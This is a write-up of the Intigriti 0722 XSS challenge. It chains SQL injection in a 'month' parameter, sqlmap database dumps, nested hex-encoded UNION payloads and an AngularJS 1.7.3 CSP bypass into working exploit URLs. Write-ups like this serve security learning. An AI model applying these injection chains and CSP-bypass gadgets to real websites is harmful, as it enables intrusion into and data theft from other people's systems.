Here I’ll be sharing how I solved my first Intrigrity XSS challenge. You can try to solve this challenge https://challenge-0722.intigriti.io/ before reading the writeup!!!
For the solution to be accepted, it must meet this standards:
- Should work on the latest version of Chrome and FireFox.
- Should execute
alert(document.domain)
. - Should leverage a cross site scripting vulnerability on this domain.
- Shouldn’t be self-XSS or related to MiTM attacks.
- Should not require any kind of user interaction. There should be a URL that when visited will present the victim with a popup
- Should be reported at go.intigriti.com/submit-solution.
First steps…
We visit the page and the first I notice it’s a blog website written in PHP.
https://challenge-0722.intigriti.io/challenge/challenge.php
The page displays a list of posts, with an anchor tag for each post, that when clicked redirects to nowhere. The next thing I try is to click the Archives links, and it filters the posts by the month it was published. A new parameter, called month, appear on the URL. This parameter looks like filter the posts by the integer passed as value.
https://challenge-0722.intigriti.io/challenge/challenge.php?month=3
I played a little with the parameter, trying some simple values. When we pass a value different from an integer, it shows an error page.
https://challenge-0722.intigriti.io/challenge/challenge.php?month=january
The next thing I tried was to check if the page read other parameters by changing it by hand. I tried some parameters that might be promising like “day, year and user” with different values but didn’t get any filtering of the posts.
At this moment, I didn’t think that looking for a parameter was the way to solve the challenge. I examined the source files with Chrome DevTools to see if there is something interesting. Nothing here either… There are only two files, blog.css and challenge.php, with the CSS of the page and the HTML of it.
Let’s step backward…
I couldn’t find anything relevant anywhere else. I came back to the only endpoint that got any interaction with the page:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=
I tried some more complex values to see if I got a response different from an error page. After testing for a while, I got an interesting response when using the value `id`:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=`id`
I didn’t get the error page with this payload, I got the default page. The first thing that came to my mind when I saw the response was that it might be vulnerable to SQL Injection.
We know that the page filter by the number of a month, in this case we only got posts from February and March (2 and 3). So I crafted the most simple payload to check if we can get something interesting.
- Payload: 2 or 3 —
https://challenge-0722.intigriti.io/challenge/challenge.php?month=2%20or%203%20--
Looks like the main page, but if we look carefully we see that the posts are in different order, and we got all the posts from February and March.
A step forward…
Finally, a promising endpoint… Assuming that this is a public challenge, trying to insert some kind of post into the database might not be the way to solve it, so I kept this in mind.
We can recon the databases and tables automatically with sqlmap (the easiest method to get all databases and tables).
- Get database lists
sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php?month=3 --dbs
We might get something like this:
___
__H__
___ ___[.]_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org...Parameter: month (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: month=3 AND 2810=2810Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: month=3 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178626a71,0x6a706d454f5271766b564543596f534254524f496e6f4c4f66686c53566e42694e6e704745717356,0x71716b6a71)-- -[14:50:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[14:50:57] [INFO] fetching database names
available databases [5]:payload
[*] blog
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
There are two interesting things, the payload used and the list of databases. Let’s go step by step:
- First, the payload. Let’s copy the payload and see what we get in the browser.
https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178626a71,0x6a706d454f5271766b564543596f534254524f496e6f4c4f66686c53566e42694e6e704745717356,0x71716b6a71)--%20-
We got content reflected!!! This might be it! Analyzing the payload and the result we got reflected, we confirm that it is Hex encoded. I used CyberChef to encrypt the XSS payload in Hex.
- Payload:
<script>alert(document.domain)</script>
- Payload ecrypted:
0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293c2f7363726970743e
- URL request.
https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,(0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293c2f7363726970743e)--%20-
Analyzing the response with Burp we can check that the chars <> are escaped. I tried different payloads, trying to bypass the filter, but got no luck.
Okay, no problem, we still got a few more fields to try not to insert the payload. Maybe one of them works… I put the payload in every SQL field:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20UNION%20ALL%20SELECT%20(0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293c2f7363726970743e),(0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293c2f7363726970743e),(0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293c2f7363726970743e),(0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293c2f7363726970743e),(0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293c2f7363726970743e)--%20-
Again… everything is escaped.
If we look at the response we can see that the author field is empty, not reflected. It might be reading an identifier and getting the name value from another table. At this point, we can try luck with some identifiers to confirm if there is in fact another table. We can also read the content from the table using sqlmap.
sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php\?month\=3 -D blog --dump...Database: blog
[3 tables]
+---------+
| user |
| post |
| youtube |
+---------+
We got 3 tables. Now we’ll check the columns of each table.
- Users
sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php\?month\=3 -D blog -T user --dump...+----+-------+-----------+
| id | name | picture |
+----+-------+-----------+
| 1 | Anton | anton.png |
| 2 | Jake | jake.png |
+----+-------+-----------+
- Post
sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php\?month\=3 -D blog -T post --dump
- Youtube
sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php\?month\=3 -D blog -T youtube --dump...+----+---------------------------------------------+
| id | videoid |
+----+---------------------------------------------+
| 1 | https://www.youtube.com/watch?v=dQw4w9WgXcQ |
+----+---------------------------------------------+(This is the link to the official video writeup)
With all the content of the pages, we can confirm that there is no name in the table post. It must be read from the table user, but let’s check it in the browser anyway, with the id=1.
https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,1,NULL--
Now we can see the name of the user is reflected in the page.
A step into…
We know that it reads from the database the name of the user given its ID. With some basic notion of SQL, we might think a SQL statement that does this.
SELECT name FROM user
where id=$parameter;// $parameter is the integer that we pass in the URL.
With this assumption, we can try to create a payload, like the one we used before. Trying to combine the results and reflect our payload in the name field.
We know that User table has three fields (id, name and picture). Let’s craft a payload with this information. But remember, this payload goes inside the value from the previous payload.
- User SQLi:
5 UNION ALL SELECT NULL,(please_dont_escape_<_>),NULL--
- User SQLi ecrypted:
0x3520554e494f4e20414c4c2053454c454354204e554c4c2c28706c656173655f646f6e745f73636170655f3c5f3e292c4e554c4c2d2d
- Post SQLi paylaod:
5 UNION ALL SELECT NULL,NULL,NULL,(0x3520554e494f4e20414c4c2053454c454354204e554c4c2c28706c656173655f646f6e745f73636170655f3c5f3e292c4e554c4c2d2d),NULL--
- URL:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=5%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,(0x3520554e494f4e20414c4c2053454c454354204e554c4c2c28706c656173655f646f6e745f73636170655f3c5f3e292c4e554c4c2d2d),NULL--
Wait... What??? Anything reflected??? I might be missing something… All right… let’s try to encode the payload too:
- User payload:
please_dont_escape_<_>
- User payload encrypted:
0x706c656173655f646f6e745f73636170655f3c5f3e
- User SQLi:
5 UNION ALL SELECT NULL,(0x706c656173655f646f6e745f73636170655f3c5f3e),NULL--
- User SQLi ecrypted:
0x3520554e494f4e20414c4c2053454c454354204e554c4c2c283078373036633635363137333635356636343666366537343566373336333631373036353566336335663365292c4e554c4c2d2d
- Post SQLi paylaod:
5 UNION ALL SELECT NULL,NULL,NULL,(0x3520554e494f4e20414c4c2053454c454354204e554c4c2c283078373036633635363137333635356636343666366537343566373336333631373036353566336335663365292c4e554c4c2d2d),NULL--
- URL:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=5%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,(0x3520554e494f4e20414c4c2053454c454354204e554c4c2c283078373036633635363137333635356636343666366537343566373336333631373036353566336335663365292c4e554c4c2d2d),NULL--
Yeah!!! <> are not escaped anymore. Now let’s use a payload to trigger the alert.
- Payload:
<script>alert(document.domain)</script>
- Final URL:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=5%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,(0x3520554e494f4e20414c4c2053454c454354204e554c4c2c283078336337333633373236393730373433653631366336353732373432383634366636333735366436353665373432653634366636643631363936653239336332663733363337323639373037343365292c4e554c4c2d2d),NULL--
And when we visit the page… we don’t see any alert. When we inspect the code, we can confirm that the payload is reflected and a CSP violation alert.
Final steps…
We need some kind of payload that can bypass the CSP. First we need to analyze the actual CSP, so let’s open the network tab on the DevTools, refresh the page and check it.
default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com
Using Google’s CSP Evaluator tool, we see some possible CSP bypass endpoints.
Reading the results, we found a few endpoints that might bypass the CSP. The first that I tried was *.gstatic.com. This endpoint is known to host angular libraries wich allow bypassing the CSP. Knowing this, I search for some angular CSP bypass payloads and found some interesting payloads at Portswigger.
<script src="https://www.gstatic.com/fsn/angular_js-bundle1.js"></script><input ng-app ng-focus="$event.path|orderBy:'[].constructor.from([document.domain],alert)'" autofocus id="xss">"
- URL:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=5%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,(0x3520554e494f4e20414c4c2053454c454354204e554c4c2c283078336337333633373236393730373432303733373236333364323236383734373437303733336132663266373737373737326536373733373436313734363936333265363336663664326636363733366532663631366536373735366336313732356636613733326436323735366536343663363533313265366137333232336533633266373336333732363937303734336533633639366537303735373432303665363732643631373037303230323036653637326436363666363337353733336432323234363537363635366537343265373036313734363837633666373236343635373234323739336132373562356432653633366636653733373437323735363337343666373232653636373236663664323835623634366636333735366436353665373432653634366636643631363936653564326336313663363537323734323932373232323036313735373436663636366636333735373332303639363433643232373837333733323233653232292c4e554c4c2d2d),NULL--
I visit the page using the Burp Browser and… It pops the alert!!!
I was so sure I already got it… But when I visit the link in Chrome, sometimes the alert pop but sometimes no and in FireFox even worst… It didn’t pop. Maybe is the payload, I though. I tried every payload from Portswigger and didn’t have luck. Then I search more payloads in Github and the same. None of them worked in all browsers. Probably due to how each browser implements “autofocus”. Some of them needed user interaction, but the rules say it clear “Should not require any kind of user interaction. There should be a URL that when visited will present the victim with a popup” and “Should work on the latest version of Chrome and FireFox.”.
At this point, I started to try every combination of payload and angular libraries from *.gstatic.com, *.googleapis.com, *.cloudflare.com and didn’t have luck.
A day later, with a clearer mind, I started to read some posts about AngularJS and CSP bypass. I found an interesting post in Twitter that redirected me to a post in Hackerone. The twitter post had a comment saying that the AngularJS 1.7.3 version is vuln to CSP with this payload:
<div ng-app>
<img
src="/"
ng-on-error="$event.srcElement.ownerDocument.defaultView.alert($event.srcElement.ownerDocument.domain)"
/>
</div>
I crafted the full payload, including the 1.7.3 Angular library:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.7.3/angular.js"></script>
<div ng-app>
<img
src="/"
ng-on-error="$event.srcElement.ownerDocument.defaultView.alert($event.srcElement.ownerDocument.domain)"
/>
</div>
- URL:
https://challenge-0722.intigriti.io/challenge/challenge.php?month=5%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,(0x3520554e494f4e20414c4c2053454c454354204e554c4c2c2830783363373336333732363937303734323032303733373236333364323236383734373437303733336132663266363136613631373832653637366636663637366336353631373036393733326536333666366432663631366136313738326636633639363237333266363136653637373536633631373236613733326633313265333732653333326636313665363737353663363137323265366137333232336533633266373336333732363937303734336530613363363436393736323036653637326436313730373033653061323032303363363936643637306132303230323032303733373236333364323232663232306132303230323032303665363732643666366532643635373237323666373233643232323436353736363536653734326537333732363334353663363536643635366537343265366637373665363537323434366636333735366436353665373432653634363536363631373536633734353636393635373732653631366336353732373432383234363537363635366537343265373337323633343536633635366436353665373432653666373736653635373234343666363337353664363536653734326536343666366436313639366532393232306132303230326633653061336332663634363937363365292c4e554c4c2d2d),NULL--
I visit the pages with all Chrome and FireFox and this time it worked in everyone!!!